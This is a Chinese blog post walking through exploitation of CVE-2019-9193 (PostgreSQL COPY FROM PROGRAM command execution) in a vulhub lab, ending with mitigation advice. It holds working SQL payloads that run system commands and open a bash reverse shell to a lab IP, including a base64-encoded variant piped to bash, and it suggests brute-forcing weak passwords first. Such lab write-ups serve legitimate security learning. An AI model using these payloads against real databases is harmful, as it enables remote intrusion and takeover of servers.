CVE-2019-9193之PostgreSQL 任意命令执行漏洞的问题

目录

一、靶场环境

二、漏洞利用

三、漏洞修复

起序:客户内网测试的时候遇到的,搭建一个环境,写个笔记记录一下。

一、靶场环境

使用的是 github 上的 vulhub 环境。PostgreSQL 版本为 10.7

vulhub:https://github.com/vulhub/vulhub

1、任意命令执行

具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。

从 9.3 版本开始,Postgres 新增了一个 COPY TO/FROM PROGRAM 功能,允许数据库的超级用户以及 pg_read_server_files 组中的任何用户执行操作系统命令。

漏洞利用前提:

需要登陆;需要高权限;

所以要先弱口令爆破之后,然后查看是否是高权限。(对于PostgreSQL 来说,只有安装数据库时默认创建的超级用户 postgres,类似于 Linux上的root用户,拥有高权限。)

新建数据库用户:CREATE USER
新建数据库:CREATE DATABASE
删除数据库:DROP DATABASE
删除用户:DROP USER
撤销权限:REVOKE
赋权:GRANT

查看权限:https://www.modb.pro/db/53957

2、影响版本

受影响的版本(貌似更新版本无解)

PostgreSQL >= 9.3

二、漏洞利用

1、启动靶机

docker-compose up -d

注:当测试完成之后会用到 关闭靶机 的命令。不是现在就要使用的命令。

docker-compose down -v

2、Navicat 连接 PostgreSQL

账号密码:postgres:postgres

3、执行命令

右键 public,点击 新建查询

然后就是执行下面的这些命令。

-- 先删除你想要使用但是已经存在的表 DROP TABLE IF EXISTS cmd_exec; -- 创建保存系统命令输出的表 CREATE TABLE cmd_exec(cmd_output text); -- 执行系统命令利用特定函数 COPY cmd_exec FROM PROGRAM 'id'; -- 查看执行结果 SELECT * FROM cmd_exec;

4、实战拓展:反弹 shell 1、nc 监听

在 kali 中使用 nc 进行监听。

nc -lvvp 1314

2、执行反弹 shell 的命令

DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1'; SELECT * FROM cmd_exec;

但是可以看出执行失败了,这种方法不行。

3、反弹失败

kali 也没有得到 shell。

4、编码解决

将反弹 shell 的命令 base64 编码一下。(下面的解码不用管)

# base64 编码前 /bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1 # base64 编码后 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==

5、再次执行反弹 shell 的命令

这里的编码不仅仅限于 base64,其他编码形式也可以,主要是为了解决数据传输过程中的特殊字符被异常解析的问题。

DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==" | base64 -d | bash'; SELECT * FROM cmd_exec;

6、反弹成功

三、漏洞修复

pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;

增强密码的复杂度;

进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;

到此这篇关于CVE-2019-9193:PostgreSQL 任意命令执行漏洞的文章就介绍到这了,更多相关PostgreSQL 任意命令执行漏洞内容请搜索易知道(ezd.cc)以前的文章或继续浏览下面的相关文章希望大家以后多多支持易知道(ezd.cc)!

推荐阅读

    优化PostgreSQL中的批量更新性能

    优化PostgreSQL中的批量更新性能,数据,表格,在Ubuntu 12.04上使用PG 9.1. 我们目前需要24小时才能运行大量UPDATE数据库上的语句,其形式

    postgresql的ALTER常用操作

    postgresql的ALTER常用操作,字段,数据类型,postgresql版本:psql (9.3.4)1、增加一列ALTER TABLE table_name ADD column_name datatype;

    PostgreSQL数据库修改sql表的方法汇总

    PostgreSQL数据库修改sql表的方法汇总,字段,默认值, 一,修改表 PostgreSQL 提供了一族命令用于修改现有表。 可以实现: 增加字段, 删除字段,

    电脑360修复漏洞好不好

    电脑360修复漏洞好不好,漏洞,补丁,本文目录电脑360修复漏洞好不好360提示修复漏洞有必要修复吗为什么360修复漏洞老是安装失败360如何离线

    为PostgreSQL添加插件

    为PostgreSQL添加插件,文件,插件, 我目前了解的PG插件大约有两种,一种是利用hook,另一种是建立C函数,然后在数据库中进行关联。PG本身就

    360电脑漏洞修复|360漏洞修复下载

    360电脑漏洞修复|360漏洞修复下载,,1. 360漏洞修复下载win10360漏洞补丁目录可以删除,它是因为360安全卫士下载安装系统补丁所存在的文件夹

    三星手机漏洞|三星手机安全

    三星手机漏洞|三星手机安全,,三星手机安全若手机总是自动进入安全模式,请查看:1.若开机时进入安全模式,可能您开机时按住了音量下键或手机左